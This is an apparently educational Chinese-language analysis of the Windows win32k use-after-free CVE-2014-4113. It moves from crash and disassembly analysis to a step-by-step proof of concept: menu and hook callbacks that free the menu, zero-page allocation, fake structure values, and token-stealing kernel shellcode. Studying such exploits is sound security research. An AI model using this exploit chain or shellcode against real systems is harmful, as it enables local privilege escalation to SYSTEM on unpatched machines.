CVE-2014-4113内核提权漏洞分析

0x00 前言

        CVE-2014-4113是Win32k下的释放后重引用漏洞(UAF),该漏洞位于win32k!xxxHandleMenuMessages中,通过调用win32k!xxxMNFindWindowFromPoint获取tagWnd指针,在此期间,执行流通过回调机制,返回用户侧,在用户侧释放目标菜单对象,并返回0xFFFFFFFB。当执行流重新返回内核侧,
并没有针对返回值进行校验,直接使用该返回值作为参数传入win32k!xxxSendMessage发送MN_BUTTONDOWN消息,由此造成UAF。

0x01 原因分析

        本文通过crash寻找漏洞触发的原理,实验环境为win7(x86)sp1。运行poc之后。在win32k!xxxSendMessageTimeout+0xb3处crash。

1
2
3
4
5
6
nt!RtlpBreakWithStatusInstruction:
83e6d394 cc int 3
kd> G
Access violation - code c0000005 (!!! second chance !!!)
win32k!xxxSendMessageTimeout+0xb3:
94a54760 3b7e08 cmp edi,dword ptr [esi+8]

        通过栈回溯,可以清晰的看到漏洞如何从用户层到内核的执行流。显然,该漏洞是在win32k!xxxSendMessageTimeout函数内部crash。

1
2
3
4
5
6
7
8
9
10
11
12
13
kd> kn
# ChildEBP RetAddr
00 96cb9b64 94a546a4 win32k!xxxSendMessageTimeout+0xb3
01 96cb9b8c 94ac8045 win32k!xxxSendMessage+0x28
02 96cb9bec 94abfa64 win32k!xxxHandleMenuMessages+0x582
03 96cb9c38 94acf71b win32k!xxxMNLoop+0x2c6
04 96cb9ca0 94ac58a5 win32k!xxxTrackPopupMenuEx+0x5cd
05 96cb9d14 83e4542a win32k!NtUserTrackPopupMenuEx+0xc3
06 96cb9d14 77ce64f4 (T) nt!KiFastCallEntry+0x12a
07 003bf678 775b5f7e (T) ntdll!KiFastSystemCallRet
08 003bf67c 775b4b56 user32!NtUserTrackPopupMenuEx+0xc
09 003bf69c 000f12ba user32!TrackPopupMenu+0x1b
WARNING: Frame IP not in any known module. Following frames

        根据异常信息,然后esi值为fffffffb,查看反汇编情况,esi的值源于win32k!xxxSendMessageTimeout的第一个参数,并最终发现产生漏洞的原因在于xxxMNFindWindowFromPoint函数的返回值,复制给ebx,并且没有进行必要的校验,就作为参数传入xxxSendMessage发送MN_BUTTONDOWN消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:94AC7B52 mov [esi+0Ch], eax
.text:94AC7B55 push ebx ; a3
.text:94AC7B56 lea eax, [ebp+tagPopupMenu]
.text:94AC7B59 push eax ; a2
.text:94AC7B5A push edi ; tagpopupmenu
.text:94AC7B5B call _xxxMNFindWindowFromPoint@12 ; xxxMNFindWindowFromPoint(x,x,x)
.text:94AC7B60 mov ebx, eax
[....]
.text:94AC8035 loc_94AC8035: ; CODE XREF: xxxHandleMenuMessages(x,x,x)+563↑j
.text:94AC8035 push 0
.text:94AC8037 push [ebp+tagPopupMenu]
.text:94AC803A push 1EDh
.text:94AC803F push ebx
.text:94AC8040 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)

0x02 poc构建

        根据栈回溯以及微软提供的漏洞信息,可以知道该漏洞发生在win32k!xxxHandleMenuMessages,在用户层触发该漏洞的函数是user32!TrackPopupMenuTrackPopupMenu的函数原型如下,其作用是在任何地方显示快捷菜单和跟踪菜单的选择。

1
2
3
4
5
6
7
8
9
BOOL TrackPopupMenu(
[in] HMENU hMenu, //菜单句柄
[in] UINT uFlags,
[in] int x,
[in] int y,
[in] int nReserved,
[in] HWND hWnd, //拥有快捷菜单的窗口句柄
[in, optional] const RECT *prcRect
);

        根据TrackPopupMenu的函数原型,重要的参数hMemu和hWnd,hMenu是菜单句柄,该参数是由CreatePopupMenu生成,hWnd是窗口句柄,hWnd参数是由CreateWindows生成,构建的poc如下,但是这样肯定无法触发漏洞。

1
2
3
4
5
ATOM reg = RegisterClassA(&wnd_class);
HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
HMENU MenuOne = CreatePopupMenu();
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
TrackPopupMenu(MenuOne,0, 0, 0, 0, main_wnd, NULL);

        首先,在win32k!xxxHandleMenuMessages打一个断点,接着根据上面分析,漏洞产生原因是没有对位于win32k!xxxHandleMenuMessages+0x99xxxMNFindWindowFromPoint的返回值进行校验。该地址主要有两个引用点。

  • win32k!xxxHandleMenuMessages+0x5D
  • win32k!xxxHandleMenuMessages+0x25A

        要想触发到v13 = xxxMNFindWindowFromPoint(v3, &tagPopupMenu, v7);主要有两条路径,第一条路径,当发送WM_LBUTTONDOWN(0x201)消息给窗口的时候触发,第二条路径,发送WM_RBUTTONDOWN消息,并且(*tagPopupMenu & 0x40) != 0需要符合这两个条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//第一条路径
message = tagMsg->message;
v6 = tagMsg->wParam;
v7 = tagMsg->lParam;
v44 = v6;
a3 = v7;
if ( message > 0x104 ) // CVE-2014-4113 条件2
{
if ( message <= 0x202 ) // CVE-2014-4113 条件3
{
if ( message == 0x202 )
goto LABEL_79;
v20 = message - 0x105; // message = 0xFC + 0x105 = 0x201
if ( v20 ) // 条件2<----CVE-2015-2546
{
v21 = v20 - 1; // v20 = 0xFB + 0x1 = 0xFC
if ( v21 )
{
v22 = v21 - 0x12; // v21 = 0xE9 + 0x12 = 0xFB
if ( !v22 )
return 1;
v23 = v22 - 0xE8; // 0xE8 + 1 = 0xE9
if ( v23 )
{
if ( v23 == 1 )
{
LABEL_13:
v12 = pMenuState;
pMenuState[4] = -1;
pMenuState[2] = v7;
pMenuState[3] = SHIWORD(v7);
v13 = xxxMNFindWindowFromPoint(v3, &tagPopupMenu, v7);// <------CVE-2014-4113
//第二条路径
case 0x204u:
LABEL_12:
if ( (*tagPopupMenu & 0x40) != 0 )
goto LABEL_13; // <------
goto LABEL_76;

        这里详细解释一下(*tagPopupMenu & 0x40) != 0,其汇编代码如下,可以看到tagPOPUPMENU偏移为0的地址和40h进行test。40h的2进制表示为‭01000000‬,这里判断第一个字节是否含有 fRightButton 标志位。所以,在第二条路径上需要满足如下两个条件

  • 发送WM_RBUTTONDOWN消息
  • 设置fRightButton标志
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    .text:95AB7B36 test byte ptr [edi+tagPOPUPMENU._bf_0], 40h
    .text:95AB7B39 jz loc_95AB7E12
    .text:95AB7B36 test byte ptr [edi], 40h
    .text:95AB7B39 jz loc_95AB7E12
    //
    kd> dt tagPOPUPMENU
    win32k!tagPOPUPMENU
    +0x000 fIsMenuBar : Pos 0, 1 Bit
    +0x000 fHasMenuBar : Pos 1, 1 Bit
    +0x000 fIsSysMenu : Pos 2, 1 Bit
    +0x000 fIsTrackPopup : Pos 3, 1 Bit
    +0x000 fDroppedLeft : Pos 4, 1 Bit
    +0x000 fHierarchyDropped : Pos 5, 1 Bit
    +0x000 fRightButton : Pos 6, 1 Bit
    +0x000 fToggle : Pos 7, 1 Bit
    +0x000 fSynchronous : Pos 8, 1 Bit
    +0x000 fFirstClick : Pos 9, 1 Bit
    +0x000 fDropNextPopup : Pos 10, 1 Bit
    +0x000 fNoNotify : Pos 11, 1 Bit
    +0x000 fAboutToHide : Pos 12, 1 Bit
    +0x000 fShowTimer : Pos 13, 1 Bit
    +0x000 fHideTimer : Pos 14, 1 Bit
    +0x000 fDestroyed : Pos 15, 1 Bit
    +0x000 fDelayedFree : Pos 16, 1 Bit
    +0x000 fFlushDelayedFree : Pos 17, 1 Bit
    +0x000 fFreed : Pos 18, 1 Bit
    +0x000 fInCancel : Pos 19, 1 Bit
    +0x000 fTrackMouseEvent : Pos 20, 1 Bit
    +0x000 fSendUninit : Pos 21, 1 Bit
    +0x000 fRtoL : Pos 22, 1 Bit
    +0x000 iDropDir : Pos 23, 5 Bits
    +0x000 fUseMonitorRect : Pos 28, 1 Bit

        如何发送消息呢,可以在WndProc函数中调用PostMessage发送消息PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);

1
2
3
4
5
6
7
8
9
10
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
printf("WindProc called with message=%x\n", msg);
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}

        随后进入win32k!xxxMNFindWindowFromPoint中,就像函数名称存在xxx前缀,说明在该函数中存在回调到用户侧的执行逻辑,首先,win32k!xxxMNFindWindowFromPoint会判断是否存在spwndNextPopup的子菜单窗口对象,如果存在子菜单窗口对象,就会调用 xxxSendMessage发送MN_FINDMENUWINDOWFROMPOINT(0x1EB)消息,用来查找菜单窗口对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int xxxMNFindWindowFromPoint(tagPOPUPMENU *tagpopupmenu, tagPOPUPMENU **a2, unsigned int a3)
{
v3 = a2;
*a2 = 0;
tagpopupmenu_ = tagpopupmenu;
spwndNextPopup = tagpopupmenu->spwndNextPopup;
if ( spwndNextPopup ) // v5 不为空
{
v23[0] = *(gptiCurrent + 45);
*(gptiCurrent + 45) = v23;
v23[1] = spwndNextPopup;
++spwndNextPopup->head.cLockObj;
v6 = xxxSendMessage(tagpopupmenu_->spwndNextPopup, 0x1EB, &tagpopupmenu, (a3 | (HIWORD(a3) << 16)));// 为什么返回值为0xfffffffb
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) )
v6 = HMValidateHandleNoSecure(v6, 1); // return 0xfffffffb
if ( v6 )
{
*v3 = tagpopupmenu;
return v6;
}
}
[.....]
}

        win32k!xxxMNFindWindowFromPoint用来获取tagWnd对象,该函数首先判断tagpopupmenu对象的spwndNextPopup是否为空,如果不为空的话,就会调用xxxSendMessage对子弹出菜单发送MN_FINDMENUWINDOWFROMPOINT(0x1EB)消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tagpopupmenu_ = tagpopupmenu;
spwndNextPopup = tagpopupmenu->spwndNextPopup;
if ( spwndNextPopup ) // v5 不为空
{
v23[0] = *(gptiCurrent + 45);
*(gptiCurrent + 45) = v23;
v23[1] = spwndNextPopup;
++spwndNextPopup->head.cLockObj;
v6 = xxxSendMessage(tagpopupmenu_->spwndNextPopup, 0x1EB, &tagpopupmenu, (a3 | (HIWORD(a3) << 16)));// 为什么返回值为0xfffffffb
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) )
v6 = HMValidateHandleNoSecure(v6, 1); // return 0xfffffffb
if ( v6 )
{
*v3 = tagpopupmenu;
return v6;
}
}

        win32k!xxxSendMessage最终调用xxxSendMessageTimeout函数,在xxxSendMessageTimeout中,首先判断发送窗口是否属于当前进程,以及判断是否处于Hook状态,并最终调用win32k!xxxMenuWindowProc

1
2
3
4
5
6
7
8
9
10
11
12
13
kd> dt tagWND fe810650
win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : 0x40000
[...]
+0x050 rcClient : tagRECT
+0x060 lpfnWndProc : 0x95abdd97 long win32k!xxxMenuWindowProc+0
[...]
kd> kn
# ChildEBP RetAddr
00 991c0940 95a44859 win32k!xxxMenuWindowProc
01 991c0980 95a446a4 win32k!xxxSendMessageTimeout+0x1ac
02 991c09a8 959cb88b win32k!xxxSendMessage+0x28

        win32k!xxxMenuWindowProc首先检查了窗口对象的状态,然后根据message执行不同的操作。当message为MN_FINDMENUWINDOWFROMPOINT时,继续将弹出窗口ppopupmenu传入xxxMNFindWindowFromPoint,并最终返回窗口对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case MN_FINDMENUWINDOWFROMPOINT:
{
/*
* lParam is point to search for from this hierarchy down.
* returns MFMWFP_* value or a pwnd.
*/
lRet = xxxMNFindWindowFromPoint(ppopupmenu, (PUINT)wParam, MAKEPOINTS(lParam));
/*
* Convert return value to a handle.
*/
if (IsMFMWFPWindow(lRet)) {
return (LRESULT)HW((PWND)lRet);
} else {
return lRet;
}
}

        因为spwndNextPopup = tagpopupmenu->spwndNextPopup;不为空,所以在构造poc的时候需要创建两个菜单对象,新构造的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
//Step1:注册窗口类和创建窗口
ATOM reg = RegisterClassA(&wnd_class);
HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
//Step2:创建第一个菜单
HMENU MenuOne = CreatePopupMenu();
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
TrackPopupMenu(MenuOne,0, 0, 0, 0, main_wnd, NULL);
//Step3:创建第二个菜单
HMENU MenuTwo = CreatePopupMenu();
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
//Step4:触发漏洞
TrackPopupMenu(MenuTwo,0, 0, 0, 0, main_wnd, NULL);

        随后,进入win32k!xxxSendMessageTimeout,【在挖一个坑,学习xxxSendMessageTimeout机制】

        在win32k!xxxSendMessageTimeout中调用xxxSendMessageToClient向用户侧发送MN_FINDMENUWINDOWFROMPOINT消息,此时执行流会回调到用户层,从而给了机会销毁菜单对象,从而有了触发漏洞前提。

        要想执行流执行xxxSendMessageToClient,需要满足一下几个条件:

  • pwnd != -1 (已满足)
  • gptiCurrent == pwnd->head.pti(判断发送的窗口是否属于当前线程)(已满足)
  • gptiCurrent->fsHooks(使用SetWindowsHookEx即可满足)
  • ptagWND->bServerSideWindowProc(满足)
  • 在0x1EB消息发送后修改快捷菜单的窗口过程(ptagwnd->lpfnWndProc)(使用SetWindowLongPtr可以满足)

        继续构造新的poc。使用SetWindowsHookEx添加一个钩子过程。

1
2
3
4
5
6
7
8
9
10
11
12
//Step1:注册窗口类和创建窗口
ATOM reg = RegisterClassA(&wnd_class);
HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
//Step2:创建第一个菜单
HMENU MenuOne = CreatePopupMenu();
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
TrackPopupMenu(MenuOne,0, 0, 0, 0, main_wnd, NULL);
//Step3:创建第二个菜单
HMENU MenuTwo = CreatePopupMenu();
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
//Step5:触发漏洞
TrackPopupMenu(MenuTwo,0, 0, 0, 0, main_wnd, NULL);

        编写钩子处理函数,根据上面分析,xxxMNFindWindowFromPoint调用 xxxSendMessage发送MN_FINDMENUWINDOWFROMPOINT(0x1EB)消息,用来查找菜单窗口对象。所以我们需要钩取MN_FINDMENUWINDOWFROMPOINT消息。

1
2
3
4
5
6
7
8
9
10
11
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
if (*(DWORD*)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT)
{
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback))
{
SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}

        钩子函数原型如下,nCode可以指定挂钩函数是否必须处理消息,wParam表示消息是否可以由当前线程发送,lparam指向的是tagCWPSTRUCT结构体指针。tagCWPSTRUCT结构体第3个成员表示消息类型。可以根据*(DWORD*)(lParam + 8)的值判断消息是否是MN_FINDMENUWINDOWFROMPOINT

1
2
3
4
5
6
7
8
9
10
11
LRESULT CALLBACK CallWndProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *NPCWPSTRUCT, *LPCWPSTRUCT;

        在窗口钩子的处理函数中,如果处理的消息为MN_FINDMENUWINDOWFROMPOINT,就会调用SetWindowLongA修改菜单的消息处理函数,为什么要这样呢?我理解的是,当使用SetWindowsHook设置的是针对窗口的钩子函数,所以还需要通过SetWindowLongA为菜单对象设置钩子函数。hWnd是指窗口句柄。nIndex是指偏移,选择GWL_WNDPROC为窗口函数设置一个新地址。dwNewLong在这里指的是函数地址。HookCallbackTwo是针对菜单对象的处理函数,在这个函数中需要释放菜单,并且返回-5。

1
2
3
4
5
6
7
8
9
10
11
12
LONG SetWindowLongA(
[in] HWND hWnd,
[in] int nIndex,
[in] LONG dwNewLong
);
//针对菜单对象的处理函数
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("Callback two called.\n");
EndMenu();
return -5;
}

        很显然,当菜单钩子函数返回值为-5的时候,win32k!xxxMNFindWindowFromPoint的返回值为0xfffffffb,由此造成UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
95ab7b52 89460c mov dword ptr [esi+0Ch], eax
95ab7b55 53 push ebx
95ab7b56 8d4510 lea eax, [ebp+10h]
95ab7b59 50 push eax
95ab7b5a 57 push edi
95ab7b5b e88596ffff call win32k!xxxMNFindWindowFromPoint (95ab11e5)
95ab7b60 8bd8 mov ebx, eax
kd> g
Breakpoint 1 hit
win32k!xxxHandleMenuMessages+0x9e:
95ab7b60 8bd8 mov ebx,eax
kd> r eax
eax=fffffffb

0x03 漏洞利用

        上一节介绍了,CVE-2014-4113最终是在win32k!xxxSendMessageTimeout+0xb3crash。我们再来分析一下,首先int __stdcall xxxSendMessageTimeout(tagWND *pwnd, UINT message, WPARAM wParam, LPARAM lParam, UINT fuFlags, UINT uTimeout, PLONG_PTR lpdwResult)*pwnd是可控的,在CVE-2014-4113这个漏洞中,该值为0xFFFFFFFB.当执行流执行到0x95A44856的时候,此时esi为0xFFFFFFFB,则[esi+60] = [0xFFFFFFFB + 0x60] = 0x5B即会调用地址为0x5B这个地址的函数。

1
2
3
4
5
6
nt!RtlpBreakWithStatusInstruction:
83e6d394 cc int 3
kd> G
Access violation - code c0000005 (!!! second chance !!!)
win32k!xxxSendMessageTimeout+0xb3:
94a54760 3b7e08 cmp edi,dword ptr [esi+8]

1
2
3
4
5
6
7
8
9
10
11
.text:95A446C1 loc_95A446C1: ; CODE XREF: xxxSendMessageTimeout(x,x,x,x,x,x,x,x)+F↑j
.text:95A446C1 mov esi, [ebp+pwnd] ; CVE-2014-4113 esi = 0xFFFFFFFB
.text:95A446C4 cmp esi, 0FFFFFFFFh
.text:95A446C7 jnz short loc_95A44700
[...]
.text:95A4484E loc_95A4484E: ; CODE XREF: xxxSendMessageTimeout(x,x,x,x,x,x,x,x)+198↑j
.text:95A4484E push [ebp+lParam]
.text:95A44851 push [ebp+wParam]
.text:95A44854 push ebx
.text:95A44855 push esi
.text:95A44856 call dword ptr [esi+60h] ; [esi+60] = [0xFFFFFFFB + 0x60] = 0x5B

        根据上述分析,要想执行流执行到0x95A44856,需要满足两个条件,内存地址为3的地址存放的是当前线程信息。gptiCurrent是一个全局变量,其指向的是tagTHREADINFO结构,也就是线程环境块偏移0x40的Win32ThreadInfo结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:95A4475A mov edi, _gptiCurrent
.text:95A44760 cmp edi, [esi+8] ; [esi+8] = [0xFFFFFFFB +8 ] = 0x3
.text:95A44763 jz loc_95A447ED
.text:95A44769 mov ecx, [esi]
.text:95A4476B mov edx, dword_95B9C0E4
kd> dt _teb
nt!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID :当前进程ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB 当前进程的PEB指针
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
+0x040 Win32ThreadInfo : Ptr32 Void

        第二,地址为4的内存的值为4

1
2
3
.text:95A44826 loc_95A44826: ; CODE XREF: xxxSendMessageTimeout(x,x,x,x,x,x,x,x)+151↑j
.text:95A44826 test byte ptr [esi+16h], 4 ; [esi+8] = [0xFFFFFFFB +16] = 0x11
.text:95A4482A lea eax, [ebp+HighLimit]

        根据上述描述,最终通过call dword ptr [esi+60h]执行shellcode,所以我们需要在0x5B处提前设置Shllcode的地址。在《Windows核心编程》关于内存结构的章节中指出:Windows系统存在空指针赋值分区,其范围从0x00000000至0x0000FFFF,由于这部分内存位于地址空间的最开始,因此也称之为零页内存。可以通过NtAllocateVirtualMemory分配内存空间,对于Windows系统,在进程的虚拟空间申请一块内存时,该块内存默认为64KB大小对齐(分配内存的起始地址必须为64KB的整数倍),因此,当我们设置分配内存的起始地址为0x00000100时,系统会强制决定起始地址为0x00000000,由于我们分配页面大小选择4KB,因此分配得到的内存空间为0x00000000~0x00001FFF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BOOL AllocateZeroPage()
{
pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtAllocateVirtualMemory");
if (NULL == NtAllocateVirtualMemory)
{
printf("[!] Get NtAllocateVirtualMemory Error\n");
return FALSE;
}
printf("[*] NtAllocateVirtualMemory Address is :0x%p \n", NtAllocateVirtualMemory);
//https://www.anquanke.com/post/id/241057
NTSTATUS ntStatus = 0;
PVOID BaseAddress = (PVOID)0x100; //虽然将baseaddr设置为0x100,系统会强制将起始地址设置为0x00000000
SIZE_T RegionSize = 0x1000;
ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (ntStatus != 0)
{
printf("[!]Execuate NtAllocateVirtualMemory Error\n");
return FALSE;
}
//getchar();
return TRUE;
}

        为了能执行到漏洞利用处,需要满足上面两个条件,并设置shellcode地址。

1
2
3
*(DWORD*)(0x03) = (DWORD)GetPtiCurrent();
*(DWORD*)(0x11) = (DWORD)4;
*(DWORD*)(0x5B) = (DWORD)&ShellCode;

        构造Shellcode函数值得注意的是,首先Shellcode函数的函数原型必须和result = pwnd->lpfnWndProc(pwnd, message_1, wParam, lParam);保持一致。而且尽量让编译器进行堆栈的平衡。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4)
{
_asm
{
pushad
xor eax, eax
mov eax, fs:[eax + KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]
mov ecx, eax
mov edx, SYSTEM_PID;
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx;
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx
popad
}
return 0;
}

0x04 参考文献